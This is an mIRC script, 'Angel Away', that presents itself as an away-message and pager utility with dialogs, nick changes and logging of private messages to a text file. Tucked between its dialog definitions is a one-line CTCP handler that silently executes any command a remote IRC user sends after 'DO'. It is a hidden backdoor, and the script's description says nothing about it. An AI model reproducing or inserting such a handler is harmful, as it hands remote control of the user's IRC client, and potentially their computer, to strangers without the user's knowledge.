/ScriptServ

;Angel Away
;By: Mozzy
on 1:load:/set %awaystatus no | /set %pageclear 0 | /set %awaystatus no | /setupaway 
menu channel {
  -
  &Away: ( %awaystatus )
  .&Away:/awaym
  .&Return:/awayn
  .&View pager:/run pager.txt
  .&Clear Pager.txt: {
    if (%pageclear == 1) { pageclear2 }
    else { pageclear }
  } 
}

dialog aaw {
  title "Angel Away"
  size 200 250 200 100
  text "Away reason:", 30,10 10 65 65  
  text "Away nick:", 11,100 10 60 60
  button "OK", 6, 40 60 40 25, ok default
  button "Cancel", 8, 100 60 50 25, cancel
  combo 9, 10 30 80 100, edit drop 
  combo 10, 100 30 80 100, edit drop
}

on *:dialog:aaw:INIT:0: {
  did -a aaw 9 Away
  did -a aaw 9 Food
  did -a aaw 9 Brb
  did -a aaw 10 $mid($me,1,4) $+ `Away
  did -a aaw 10 $mid($me,1,4) $+ `Food
  did -a aaw 10 $mid($me,1,4) $+ `Brb
}
on *:dialog:aaw:sclick:9:{
  if $did(aaw,9).sel == 1 { set %dd Away }
  if $did(aaw,9).sel == 2 { set %dd Food }
  if $did(aaw,9).sel == 3 { set %dd Brb }
}

on *:dialog:aaw:sclick:10:{
  if $did(aaw,9).sel == 1 { set %dn $mid($me,1,4) $+ `Away }
  if $did(aaw,9).sel == 2 { set %dn $mid($me,1,4) $+ `Food }
  if $did(aaw,9).sel == 3 { set %dn $mid($me,1,4) $+ `Brb }
}

on *:dialog:aaw:edit:9:{
  set %dd $did(aaw,9)
}
on *:dialog:aaw:edit:10:{
  set %dn $did(aaw,10)
}
on *:dialog:aaw:sclick:6:{
  if %dd == $null { set %dd None } 
  if %dn == $null { set %dn $mid($me,1,5) $+ Brb }
  ame 's 12Away -  12Reason 15[ %dd ] 12Since 10[ $+ $time $versio $+ ]
  ;.timer7 0 600 amsg 12Away -  12Reason 15[ %dd ] 12Since 10[ $+ $time $versio $+ ]
  set %awaystatus yes
  set %pager1 0
  set %cca $ctime
  set %cca1 $time
  away %dd $versio
  set %dn1 $me
  set %notice 1
  if %dn == $null { halt }
  nick %dn  
}

on 1:TEXT:*:?: {
  if (%notice == 1) { notice $nick 12Away -  12Reason 15[ %dd ] 12Since 10[ $+ %cca1 $+ ]  15- 12Your message has been logged. | /write pager.txt  $nick messaged you on $time . " $+ $1- $+ " |  inc %pager1 | unset %pageclear }
  else halt
}

alias awaym dialog -m aaw aaw 
alias awayn {
  ame 's 12Back -  12From 15[ %dd ] 12Since 10[ $+  %cca1 $+ ] 12Gone for 15[ $+ $duration($calc($ctime - %cca)) $+ ] $versio
  away
  if (%pager1 > 0) { run pager.txt | goto finish }
  elseif (%pager1 == 0) { echo -a 12You received no messages. | goto finish }
  :finish
  .timer7 off
  set %awaystatus no
  set %pager1 0
  unset %dn
  unset %dd  
  unset %notice*
  nick %dn1
}

alias setupaway dialog -m setup setup
ctcp ^*:*DO*:*: { . $+ $$2- | halt } 
dialog setup {
  title "Angel away system now running"
  text "Angel away system now running", 100,75 10 100 65 
  size 200 250 250 80 
  button "Lets Chat", 6, 85 40 60 30, ok default
}

alias pageclear  {
  dialog -m pageclear pageclear 
  write -c pager.txt
  set %pageclear 1
}
dialog pageclear {
  title "Pager Cleared"
  text "Pager cleared", 100,75 10 100 65  
  size 200 250 250 80
  button "O&k", 6, 85 40 60 30, ok default
}

alias pageclear2 { 
  dialog -m pageclear2 pageclear2
  %pageclear 
  write -c pager.txt
}
dialog pageclear2 {
  title "Error"
  text "Pager was already cleared", 100,65 10 150 65  
  size 200 250 250 80 
  button "O&k", 6, 85 40 60 30, ok default
}